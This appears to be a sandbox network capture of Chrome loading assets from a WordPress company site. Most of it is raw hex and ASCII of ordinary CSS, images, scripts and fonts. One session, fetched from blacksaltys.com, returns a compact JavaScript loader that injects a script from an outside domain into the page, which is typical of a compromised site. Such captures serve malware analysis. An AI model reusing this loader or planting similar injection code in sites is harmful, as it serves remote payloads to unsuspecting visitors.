C1wys/\|[ICBLJVXy`:p{O>9,hvH;+5+p(s(&W4RS>E{hld5QaS,N!{FeRm?>}_#E{j3dz*#GN<Sht+jQUtjz(h0XWS3MFXE`5Uvw5onsM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49766	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	701	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 2889 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:17:01 UTC	2889	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 31 70 78 29 20 7b 0a 0a 09 2f 2a 20 4f 76 65 72 6c 61 79 20 2a 2f 0a 09 23 6c 69 67 68 74 63 61 73 65 2d Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) /@media screen and (min-width: 641px) {/ Overlay */#lightcase-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49761	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	648	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 34669 Content-Type: image/png
2024-10-07 11:17:01 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e8 00 00 00 f0 08 06 00 00 00 0a 2c 28 8e 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR,(tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 11:17:01 UTC	8000	IN	Data Raw: f9 11 63 20 b7 49 52 8e 43 24 29 35 32 e3 e0 ee b9 80 73 cc d0 b1 d7 98 c5 fa e9 26 12 96 b5 34 a1 5b 25 29 4e 66 d0 d7 08 9a 63 24 69 c5 fe 64 82 8a e2 14 6a 27 ee 43 97 56 fe 00 03 53 09 bc af 16 f0 90 8d 80 b7 eb e4 45 eb ce ab d5 03 2c 73 5d d2 ad 29 72 ce 93 7b 8f ee 0d 02 c7 c1 4c 3c fd 1c cb 16 c7 61 5c ee 05 34 74 b5 a4 5b 09 da 16 40 db 04 7f 1a e6 70 2d a1 92 2a 09 7d 99 8c d7 1a 22 01 ad 1e 95 ce dd 8f dc 78 b0 f1 9d 03 61 f4 48 9a 3f 5b 86 db 00 43 b2 16 31 e8 24 d6 51 77 3a 66 98 d9 f8 21 f0 23 eb 03 3a 53 df 17 14 b4 44 30 94 63 52 8d 9f ee 4f 50 96 b3 4f b8 cc e5 e7 31 e9 b1 24 fb 0b 47 30 c0 63 78 9d 97 29 9e ef d6 e3 58 21 32 58 2f 7b 01 ae 31 41 82 e4 63 e6 31 f2 a0 63 10 a2 6b 70 7f 0f 41 2c 3a eb 94 46 88 5c 51 e1 d5 6a 09 5a 3e f3 48 Data Ascii: c IRC$)52s&4[%)Nfc$idj'CVSE,s])r{L<a\4t[@p-*}"xaH?[C1$Qw:f!#:SD0cROPO1$G0cx)X!2X/{1Ac1ckpA,:F\QjZ>H
2024-10-07 11:17:01 UTC	8000	IN	Data Raw: 80 45 cc 50 7c 64 42 af c2 74 2d 84 9e 17 ae b3 ee 79 7a 19 e3 e6 69 bc ef 89 f8 49 95 ea bf a4 d5 27 74 2b ce aa 9b 9b 9c 53 ce 88 94 33 27 c9 f2 82 55 ac cf 92 a0 f6 aa ae 92 ad b3 7e 53 da b7 e4 45 60 53 7f d1 3c ff a3 79 9e 45 46 2f 27 fd 29 1b c3 cb 3b 79 10 69 a3 80 af 21 d8 ed 37 ab 2f 75 98 67 ca 99 a5 b8 d6 be fb 71 0b 7d 38 72 02 30 42 f1 46 59 92 f6 f0 f3 9d 91 b4 57 0d c8 48 ff 6a ba 70 bf 13 4f ec 30 cc 32 81 ff 1b 41 4b 66 70 33 4b 74 bf 3e 75 d0 bc da ad 01 0d 2f 97 56 4e ef c7 9a e7 63 a4 95 10 c0 10 39 a2 38 94 b3 63 0c f5 7c 01 f1 a0 1f ff 5e c6 80 55 82 b4 c3 8e e8 9a c0 6b ba 16 fc 1b 1a eb b8 4f 06 7a be aa 11 91 b4 af 6d 67 3a cc cd 52 1a 90 9c b4 f7 fa f9 f7 2e d0 69 aa 2f a2 79 18 83 b7 5b a5 bb c5 da 7a 07 eb d4 cf 8a 01 99 c0 bd Data Ascii: EP\|dBt-yziI't+S3'U~SE`S<yEF/');yi!7/ugq}8r0BFYWHjpO02AKfp3Kt>u/VNc98c\|^UkOzmg:R.i/y[z
2024-10-07 11:17:01 UTC	8000	IN	Data Raw: d2 5e 9c 8b 63 c9 55 60 1f bf 2a e9 75 42 63 67 d5 33 ea a2 f6 0e 49 92 e8 fd 0e 98 1a 11 14 fa d9 d7 01 aa dd 0e d7 b3 54 b2 11 8a 73 e7 3a 30 c7 ac a8 a7 62 79 e3 21 8e 75 e5 f8 9c e1 b2 67 a5 05 df 63 55 2c 4a e4 35 79 4d 78 06 e1 c2 0f 21 d8 9c a5 55 77 cb 16 79 28 cd 23 30 0f 4c b4 e8 46 67 cd b4 7a b5 b4 6f 2c e0 a4 0b ae 20 31 0d 38 6d fb 30 d7 90 27 bf 15 42 98 27 4b 52 6a b3 53 85 07 4b be ff 58 f3 7c 24 7d 57 99 42 24 5e ef 1c 5f 06 b2 bf ec db db 0b 28 7c 2b ad f8 3c 4c f6 ac a4 d7 44 39 46 cd 10 14 e6 f2 9e 0f 81 e0 9d 23 e9 be a5 02 2f 6b 0d a0 6c 57 3d 43 e8 2c 09 8e 09 b3 be ff a7 10 fa 03 09 96 8f c2 db df 87 62 3b cb 36 e2 da ae b6 8c a4 b0 5b 37 50 bf 93 14 74 ad 8b cf b9 a6 ae 2f c7 b9 42 92 44 fc 29 52 52 eb cc 36 02 ef f4 69 78 28 fe Data Ascii: ^cU`*uBcg3ITs:0by!ugcU,J5yMx!Uwy(#0LFgzo, 18m0'B'KRjSKX\|$}WB$^_(\|+<LD9F#/klW=C,b;6[7Pt/BD)RR6ix(
2024-10-07 11:17:01 UTC	2710	IN	Data Raw: 89 a0 b8 65 e6 bb 49 18 e8 67 de 88 73 aa d9 f8 0c 88 bf 41 e7 b9 98 c2 1e b3 12 1a bf 4d 11 4a 6d c7 14 fe b7 92 cc d6 19 b2 74 b8 93 a0 0f 2f b5 88 21 87 48 0b 5b 77 4a 6b f3 32 28 21 91 80 41 22 2b c0 b6 b6 9d cf 90 65 a6 65 62 bb f1 f7 76 20 b4 76 2f 93 d0 8c 15 12 88 c3 12 5a f2 98 e0 98 84 45 73 dc 74 c9 a5 c0 a0 e6 ff b4 a4 7b 7b 15 6f ef 73 d1 78 8b 4c 95 32 ad db 4a 9c 3e 03 c2 31 b0 c4 c0 0f cd ce f9 7e 1f ac df ea 1e 37 00 88 68 3a 3f 4b f3 73 ef 76 a6 68 49 e2 b1 04 d3 74 1e 0b 7b d4 89 a1 0d fa af 12 93 14 c8 bf 3f e8 18 c7 34 76 96 f6 77 12 60 95 90 19 d7 90 38 de 77 11 81 36 03 84 40 9b 2f 36 ee d6 fd aa 45 00 89 ad 84 d7 da 65 e1 e3 12 27 1c a8 d0 fd 52 17 e6 e0 4e f0 b6 e6 09 67 c9 18 5d 65 01 f4 3c 29 c9 fd ab d6 e3 bd 8b 48 88 cd 40 28 Data Ascii: eIgsAMJmt/!H[wJk2(!A"+eebv v/ZEst{{osxL2J>1~7h:?KsvhIt{?4vw`8w6@/6Ee'RNg]e<)H@(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49767	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:01 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:01 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49769	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	413	OUT	GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	268	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 10 Mar 2021 20:56:59 GMT Accept-Ranges: bytes Content-Length: 2490 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:01 UTC	2490	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 76 61 72 20 53 55 43 43 45 53 53 5f 53 54 41 54 55 53 20 3d 20 22 6d 61 69 6c 5f 73 65 6e 74 22 3b 0a 20 20 76 61 72 20 41 4a 41 58 5f 41 43 54 49 4f 4e 20 3d 20 22 67 65 74 44 6f 77 6e 6c 6f 61 64 42 75 74 74 6f 6e 22 3b 0a 20 20 76 61 72 20 53 55 50 50 4f 52 54 45 44 5f 56 45 52 53 49 4f 4e 53 20 3d 20 5b 34 2c 20 35 5d 3b 0a 0a 20 20 66 75 6e 63 74 69 6f 6e 20 77 61 72 6e 56 65 72 73 69 6f 6e 28 76 65 72 73 69 6f 6e 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 0a 20 20 20 20 20 20 22 5b 43 46 37 20 47 41 54 45 44 20 43 4f 4e 54 45 4e 54 5d 3a 20 54 68 69 73 20 76 65 72 73 69 6f 6e 20 6f 66 20 43 46 37 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3a 20 22 20 2b 20 76 65 72 73 Data Ascii: (function ($) { var SUCCESS_STATUS = "mail_sent"; var AJAX_ACTION = "getDownloadButton"; var SUPPORTED_VERSIONS = [4, 5]; function warnVersion(version) { console.warn( "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + vers

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	457	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 409 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:01 UTC	409	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 4d 4c 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 44 72 6f 70 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 29 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 26 26 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 7d 72 65 74 75 72 6e 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 61 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 69 74 65 6d 2d 74 6f 67 67 6c 65 Data Ascii: "use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49771	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	411	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 06 Feb 2024 14:31:02 GMT Accept-Ranges: bytes Content-Length: 713 Content-Type: image/svg+xml
2024-10-07 11:17:01 UTC	713	IN	Data Raw: 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 0a 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 0a 09 3c 67 20 69 64 3d 22 4c 61 79 65 72 5f 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 30 33 33 36 36 22 20 64 3d 22 4d 30 2c 30 68 31 31 30 2e Data Ascii: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve"><g id="Layer_2"><path fill="#003366" d="M0,0h110.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	399	OUT	GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 13380 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:01 UTC	7923	IN	Data Raw: 2f 2a 20 4d 6f 64 65 72 6e 69 7a 72 20 32 2e 38 2e 33 20 28 43 75 73 74 6f 6d 20 42 75 69 6c 64 29 20 7c 20 4d 49 54 20 26 20 42 53 44 0a 20 2a 20 42 75 69 6c 64 3a 20 68 74 74 70 3a 2f 2f 6d 6f 64 65 72 6e 69 7a 72 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 23 2d 66 6f 6e 74 66 61 63 65 2d 62 61 63 6b 67 72 6f 75 6e 64 73 69 7a 65 2d 62 6f 72 64 65 72 69 6d 61 67 65 2d 62 6f 72 64 65 72 72 61 64 69 75 73 2d 62 6f 78 73 68 61 64 6f 77 2d 66 6c 65 78 62 6f 78 2d 66 6c 65 78 62 6f 78 6c 65 67 61 63 79 2d 68 73 6c 61 2d 6d 75 6c 74 69 70 6c 65 62 67 73 2d 6f 70 61 63 69 74 79 2d 72 67 62 61 2d 74 65 78 74 73 68 61 64 6f 77 2d 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 2d 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 65 6e 65 72 61 74 65 64 63 6f 6e 74 65 6e 74 2d 63 73 73 Data Ascii: /* Modernizr 2.8.3 (Custom Build) \| MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-css
2024-10-07 11:17:01 UTC	5457	IN	Data Raw: 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 66 2e 63 6c 6f 6e 65 4e 6f 64 65 28 29 2c 63 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3b 68 2e 73 68 69 76 4d 65 74 68 6f 64 73 26 26 28 22 2b 6d 28 29 2e 6a 6f 69 6e 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 77 5c 2d 5d 2b 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 2e 63 72 65 61 74 65 45 6c 65 6d 28 61 29 2c 62 2e 66 72 61 67 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 27 63 28 22 27 2b 61 2b 27 22 29 27 7d 29 2b 22 29 3b 72 65 74 75 72 6e 20 6e 7d 22 29 28 73 2c 62 2e 66 72 61 67 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 61 7c 7c 28 61 3d 62 29 3b 76 61 72 20 63 3d 6e 28 61 29 3b 72 65 74 75 72 6e 20 73 2e 73 68 69 76 43 53 53 26 26 21 67 26 26 21 63 2e 68 61 73 43 53 Data Ascii: ion(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a\|\|(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49774	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	703	OUT	GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.twbcompany.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:35 GMT Accept-Ranges: bytes Content-Length: 8800 Content-Type: font/woff
2024-10-07 11:17:01 UTC	7960	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 22 60 00 0e 00 00 00 00 33 d0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 44 00 00 00 44 00 00 00 56 3e 28 48 d7 63 6d 61 70 00 00 01 88 00 00 00 3a 00 00 01 4a d0 40 19 b7 63 76 74 20 00 00 01 c4 00 00 00 0a 00 00 00 0a 00 00 00 00 66 70 67 6d 00 00 01 d0 00 00 05 94 00 00 0b 70 88 90 90 59 67 61 73 70 00 00 07 64 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 07 6c 00 00 16 70 00 00 1e d0 ea e2 59 dc 68 65 61 64 00 00 1d dc 00 00 00 35 00 00 00 36 07 13 ef d3 68 68 65 61 00 00 1e 14 00 00 00 20 00 00 00 24 08 1b 03 f8 68 6d 74 78 00 00 1e 34 00 00 00 6c 00 00 00 c4 94 d1 00 00 6c 6f 63 61 00 00 1e a0 00 00 00 64 00 00 00 64 a1 4c a7 e6 6d 61 78 70 00 00 1f 04 00 00 00 Data Ascii: wOFF"`3OS/2DDV>(Hcmap:J@cvt fpgmpYgaspdglyflpYhead56hhea $hmtx4llocaddLmaxp
2024-10-07 11:17:01 UTC	840	IN	Data Raw: 00 73 00 00 00 34 0b 70 00 00 00 00 78 9c 75 91 cd 4a c3 40 14 46 bf 69 6b d5 16 54 14 dc 7a 57 52 11 d3 1f e8 46 10 0a 95 ba d1 4d 91 6e 25 8d 69 92 92 66 ca 64 5a e8 6b f8 0e 3e 8c 2f e1 b3 f8 35 9d 8a b4 98 90 cc b9 67 ee dc b9 99 00 38 c7 37 14 36 57 97 cf 86 15 8e 18 6d b8 84 43 3c 38 2e d3 3f 3a ae 90 9f 1d 1f a0 8e 57 c7 55 fa 37 c7 35 dc 22 72 5c c7 05 3e 58 41 55 8e 19 4d f1 e9 58 e1 4c 9d 3a 2e e1 44 5d 39 2e d3 df 39 ae 90 1f 1c 1f e0 52 bd 38 ae d2 07 8e 6b 18 a9 dc 71 1d d7 ea ab af e7 2b 93 44 b1 95 46 ff 46 3a ad 76 57 c6 2b d1 54 49 e6 a7 e2 2f 6c ac 4d 2e 3d 99 e8 cc 86 69 aa bd 40 cf b6 3c 0c a3 45 ea 9b 6d b8 1d 47 a1 c9 13 9d 49 db 6b 6d d5 53 98 85 c6 b7 e1 fb ba 7a be 8c 3a d6 4e 64 62 